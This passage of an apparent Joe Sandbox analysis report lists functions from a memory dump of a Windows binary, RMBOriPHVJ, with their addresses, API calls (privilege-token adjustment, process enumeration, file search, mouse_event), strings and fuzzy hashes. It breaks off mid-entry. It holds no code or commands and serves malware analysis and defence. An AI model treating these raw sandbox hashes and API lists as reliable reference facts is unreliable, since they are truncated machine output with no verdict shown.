                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Init_thread_footer
                                                          • String ID: Variable must be of type 'Object'.
                                                          • API String ID: 1385522511-109567571
                                                          • Opcode ID: 09b0c8642434f20ce4b814200726c115a0bcc0e38a9d6de865f3abdb52dfbc80
                                                          • Instruction ID: 7531be31c3a8c014b16c1df3631429c7413054e7bee86f09d88c7abd1d83fda2
                                                          • Opcode Fuzzy Hash: 09b0c8642434f20ce4b814200726c115a0bcc0e38a9d6de865f3abdb52dfbc80
                                                          • Instruction Fuzzy Hash: 2FC29532A48682C6EB60EF15D4902BDBB62FB48B94FA45135DA4F577A5DF3CE482C310
                                                          Function 00007FF787C06320 Relevance: 6.3, APIs: 4, Instructions: 255COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Variant$ClearInit$CopyCreateInitializeInstanceUninitialize
                                                          • String ID:
                                                          • API String ID: 2733932498-0
                                                          • Opcode ID: a09277b6a6935f26de9d5b61002aef5de2559b3d5eb22cd3cc7460a06f749bcb
                                                          • Instruction ID: 27b8099925f264cc832f4eec3e3a515c2542fef35eb364f89fc2ebdaa1f758cc
                                                          • Opcode Fuzzy Hash: a09277b6a6935f26de9d5b61002aef5de2559b3d5eb22cd3cc7460a06f749bcb
                                                          • Instruction Fuzzy Hash: EAB1DC36B48B4681EB10EF66D4902ADA764FB49FD4FA45032DE0F57796CE38D442C360
                                                          Function 00007FF787C0EB34 Relevance: 6.2, APIs: 4, Instructions: 156processCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Process32$CloseCompareCreateFirstHandleNextSnapshotStringToolhelp32
                                                          • String ID:
                                                          • API String ID: 2000298826-0
                                                          • Opcode ID: 5b1cc7803f552fdfb6a5c1b64286c224a353268d24a72ba4bd1cd77bb81f450c
                                                          • Instruction ID: 2cf7c7c52cb8b2ae85c8007e4d2bba87f54c5a57afbb3041142967b9dcb186d8
                                                          • Opcode Fuzzy Hash: 5b1cc7803f552fdfb6a5c1b64286c224a353268d24a72ba4bd1cd77bb81f450c
                                                          • Instruction Fuzzy Hash: 53718E36A18B8186E700EB25E4403AEB7A5FB88BC8F904135EE4E07B69DF7CD546C750
                                                          Function 00007FF787B902C4 Relevance: 5.7, Strings: 2, Instructions: 3180COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: DEFINE$x
                                                          • API String ID: 0-4035502692
                                                          • Opcode ID: ef8c6a1001600b964e5fbe2637a07538f3dd4599c6cbe193d186c423f91508d7
                                                          • Instruction ID: 268b73cd0abb47f6420ea542c11c7f9e84806d49e9a8b3c99e945c324f0ab0ac
                                                          • Opcode Fuzzy Hash: ef8c6a1001600b964e5fbe2637a07538f3dd4599c6cbe193d186c423f91508d7
                                                          • Instruction Fuzzy Hash: 8453C372B446528AE760DF65C4846BC7FA2FB04B88FA48036DE5E57784EF39E942C710
                                                          Function 00007FF787B90E90 Relevance: 4.9, Strings: 3, Instructions: 1176COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: $[$\
                                                          • API String ID: 0-3681541464
                                                          • Opcode ID: f7681cbd2ea07fa149fa3418819e144fbe1fe0a990a0ed3c69471eaae0dbb131
                                                          • Instruction ID: 7a9950e8c7fef7fffb2dc3d7cab31b6ae89e214e6de1b1cf127aaaa63b903479
                                                          • Opcode Fuzzy Hash: f7681cbd2ea07fa149fa3418819e144fbe1fe0a990a0ed3c69471eaae0dbb131
                                                          • Instruction Fuzzy Hash: 06B2AF32B447528AE7209F65C4846FCBFB2FB05788FA44136DA1E57B84EB38E942C750
                                                          Function 00007FF787BA1750 Relevance: 4.8, APIs: 3, Instructions: 340COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: memcpy_s
                                                          • String ID:
                                                          • API String ID: 1502251526-0
                                                          • Opcode ID: 4319a682b676806559ada1e1e2a537e8d5e8e6a4cd1916f84ce5e893799bb061
                                                          • Instruction ID: 993320e7985b439a62e9537914a35f0aee5f16309be4f73f70c1e50fe51d70c8
                                                          • Opcode Fuzzy Hash: 4319a682b676806559ada1e1e2a537e8d5e8e6a4cd1916f84ce5e893799bb061
                                                          • Instruction Fuzzy Hash: EBD1E932B5928587D775EF16E184669FBA2F788784FA48134DB4F57744DA3CE842CB00
                                                          Function 00007FF787BF6428 Relevance: 4.6, APIs: 3, Instructions: 116fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Find$File$CloseFirstNext
                                                          • String ID:
                                                          • API String ID: 3541575487-0
                                                          • Opcode ID: 8095db4ae0d7967ea6bb3d0986d3fec5b3e30099e78eeea076049f78ea6c2b13
                                                          • Instruction ID: 036a87410caa926b0961f9bcc8bbc845dd40ec5d8687d4d0e63ece94a7282add
                                                          • Opcode Fuzzy Hash: 8095db4ae0d7967ea6bb3d0986d3fec5b3e30099e78eeea076049f78ea6c2b13
                                                          • Instruction Fuzzy Hash: 8C516A32648A4686DB14EF25D0902ADBB61FB84FD8FA04232CE5E477A5CF3CE552C720
                                                          Function 00007FF787BF58C4 Relevance: 4.6, APIs: 3, Instructions: 67COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: ErrorMode$DiskFreeSpace
                                                          • String ID:
                                                          • API String ID: 1682464887-0
                                                          • Opcode ID: 9da028b5588618e8017c2d6f59159552d0d086b50025af474123ec90f68560d5
                                                          • Instruction ID: 5684290a8aa8ede5def01b45696f6773ae6173f426bb8ed16f10ecc0142f5773
                                                          • Opcode Fuzzy Hash: 9da028b5588618e8017c2d6f59159552d0d086b50025af474123ec90f68560d5
                                                          • Instruction Fuzzy Hash: 92315E32618B8586EB10EF29E4802AAB761FB84BD5F608531EB8E47765DF3CD547C710
                                                          Function 00007FF787BDD5CC Relevance: 4.6, APIs: 3, Instructions: 59COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: AdjustConcurrency::cancel_current_taskErrorLastLookupPrivilegePrivilegesTokenValue
                                                          • String ID:
                                                          • API String ID: 2278415577-0
                                                          • Opcode ID: 70c4773b18923e0c28b697d59e2b6e62826da89e857526a178f76e4b759ffcd8
                                                          • Instruction ID: 0235173785f995d5197cf054081efee5d95b63c594fb65e5a4db511d696ffa21
                                                          • Opcode Fuzzy Hash: 70c4773b18923e0c28b697d59e2b6e62826da89e857526a178f76e4b759ffcd8
                                                          • Instruction Fuzzy Hash: C521DE72A08A818AD700EF66F48436ABBA1FB88BD4F948035CF8E43718DF78D156C350
                                                          Function 00007FF787BDD540 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: AllocateCheckFreeInitializeMembershipToken
                                                          • String ID:
                                                          • API String ID: 3429775523-0
                                                          • Opcode ID: 3eb730c412da6b237fdafb429a025579d281427b312740e7d186e067821098ed
                                                          • Instruction ID: a24a7f20c21fe4cf6b9426ffec2b15ee89c1ea7d3a92f29d3587db9124773ee7
                                                          • Opcode Fuzzy Hash: 3eb730c412da6b237fdafb429a025579d281427b312740e7d186e067821098ed
                                                          • Instruction Fuzzy Hash: FB019233A247818FE7108F20E8953AE77B0F75476EF500929E64E82A98DB7DC159CF80
                                                          Function 00007FF787BB2F50 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 110COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: .
                                                          • API String ID: 0-248832578
                                                          • Opcode ID: 704ebd355b677e1258a9e20fb2f824619711b00144154a2c45bc08c04a856543
                                                          • Instruction ID: 138b1cb16931f170f9152c8eb6abf430be8a25eb35cd5966cb922ea6ed5411e9
                                                          • Opcode Fuzzy Hash: 704ebd355b677e1258a9e20fb2f824619711b00144154a2c45bc08c04a856543
                                                          • Instruction Fuzzy Hash: 27312931B1869144E760BF7298046BAEA92FB50BE4FE48635EE6E07BC4DE3CD446C314
                                                          Function 00007FF787C02464 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 65COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: _invalid_parameter_noinfomouse_event
                                                          • String ID: DOWN
                                                          • API String ID: 17014623-711622031
                                                          • Opcode ID: 5b704a07574124c7e817457ac83024f80addd9552f4bff182079f39b1e753b8c
                                                          • Instruction ID: c05afacbc7bf9d3592b6bfdeab4425f95f01b92fdf76e9c5ac7789d71361e525
                                                          • Opcode Fuzzy Hash: 5b704a07574124c7e817457ac83024f80addd9552f4bff182079f39b1e753b8c
                                                          • Instruction Fuzzy Hash: D921C132A48A5682EB20EB26E45037AE7A5FB84BD4FA44034DE4E47791DF7CE483C754
                                                          Function 00007FF787BB67F0 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: ExceptionRaise_clrfp
                                                          • String ID:
                                                          • API String ID: 15204871-0
                                                          • Opcode ID: 2c887139cc1f69395780bda7c312862f1bbc48349006177215bd8e385e5acab5
                                                          • Instruction ID: e8a3f63691a11ce5a483bd54c245b5acfe1cd81b9d570b2ec04f3aa733cdf6c0
                                                          • Opcode Fuzzy Hash: 2c887139cc1f69395780bda7c312862f1bbc48349006177215bd8e385e5acab5
                                                          • Instruction Fuzzy Hash: 41B16C73600B848BEB15DF29C845368BBA1F745B4CF688922DE9E837A4CB39D852C714
                                                          Function 00007FF787BF71F4 Relevance: 3.0, APIs: 2, Instructions: 47fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Find$CloseFileFirst
                                                          • String ID:
                                                          • API String ID: 2295610775-0
                                                          • Opcode ID: c9c219a70f1c370a867d1a9527945e6bdb48ca94d3a7acfc6404a472547bc866
                                                          • Instruction ID: 6ec664bb704580a424b8812d9c7f851d5f4ea291e32058dbd06161910ed9d46b
                                                          • Opcode Fuzzy Hash: c9c219a70f1c370a867d1a9527945e6bdb48ca94d3a7acfc6404a472547bc866
                                                          • Instruction Fuzzy Hash: 55117F32B0874182DB10EB25E084369B760FB88BE0FA48631DA6E07791CF7CD452C710
                                                          Function 00007FF787BF3778 Relevance: 3.0, APIs: 2, Instructions: 30windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: ErrorFormatLastMessage
                                                          • String ID:
                                                          • API String ID: 3479602957-0
                                                          • Opcode ID: a2008fc71fb315c0dad007a4b51d1fe3c27baf42b183b088b3737ee8cb1df6e2
                                                          • Instruction ID: 1d27d89bbeb09ed3cd0ed1429413d1b488165c25b70ea64ef3021fc40072a709
                                                          • Opcode Fuzzy Hash: a2008fc71fb315c0dad007a4b51d1fe3c27baf42b183b088b3737ee8cb1df6e2
                                                          • Instruction Fuzzy Hash: 15F0C83165864242E720AB25F84076AE6A6FFC97D4FA04134EB9E43BA9DE3CD005CB14
                                                          Function 00007FF787BDCCE0 Relevance: 3.0, APIs: 2, Instructions: 21COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: AdjustCloseHandlePrivilegesToken
                                                          • String ID:
                                                          • API String ID: 81990902-0
                                                          • Opcode ID: 2696843c0c1c48d019296e0beaf727179f08331fefa667d0a626b5bdda81ebd6
                                                          • Instruction ID: 02371c7f09f90a4e3614642ee357663d5ea11cc63f88dfe17791dd275e21795a
                                                          • Opcode Fuzzy Hash: 2696843c0c1c48d019296e0beaf727179f08331fefa667d0a626b5bdda81ebd6
                                                          • Instruction Fuzzy Hash: 8DF0E576A64A4182EB20EB21E8153BA9760FBD8FA8F700531CE0E07258CF3CC087C220
                                                          Function 00007FF787BA95B0 Relevance: 2.9, Strings: 2, Instructions: 378COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: a/p$am/pm
                                                          • API String ID: 0-3206640213
                                                          • Opcode ID: b6ff340540ec1a6ec0d6140cfc1c8523425437697bcd52408c2e8c1b88fcdfce
                                                          • Instruction ID: 74ebdf4cf95a870fc391cd971375b4e927c3919f6ce786f0814e235927d0b398
                                                          • Opcode Fuzzy Hash: b6ff340540ec1a6ec0d6140cfc1c8523425437697bcd52408c2e8c1b88fcdfce
                                                          • Instruction Fuzzy Hash: FAE10A32A8A61281E766BF16C0445BDEBA6FF21780FE44132DA5F47684DF3DD942E320
                                                          Function 00007FF787B9C3FC Relevance: 2.7, Strings: 2, Instructions: 219COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: _invalid_parameter_noinfo
                                                          • String ID: 0$0x%p
                                                          • API String ID: 3215553584-2479247192
                                                          • Opcode ID: 2cf1ea9a671600e4e0a2c177b28b5012e25eeeeabff85c4abdd8ee56160d1f52
                                                          • Instruction ID: 36ee250ee9368f4ad423271fcf8ee9692690967fd5e6a2491cddef6bc9723a0d
                                                          • Opcode Fuzzy Hash: 2cf1ea9a671600e4e0a2c177b28b5012e25eeeeabff85c4abdd8ee56160d1f52
                                                          • Instruction Fuzzy Hash: EC811532A5820256EAA4AA35804177DAF92FF41B84FF42431DD2F87695EF2DEC03D320
                                                          Function 00007FF787B80E70 Relevance: 1.9, Strings: 1, Instructions: 680COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
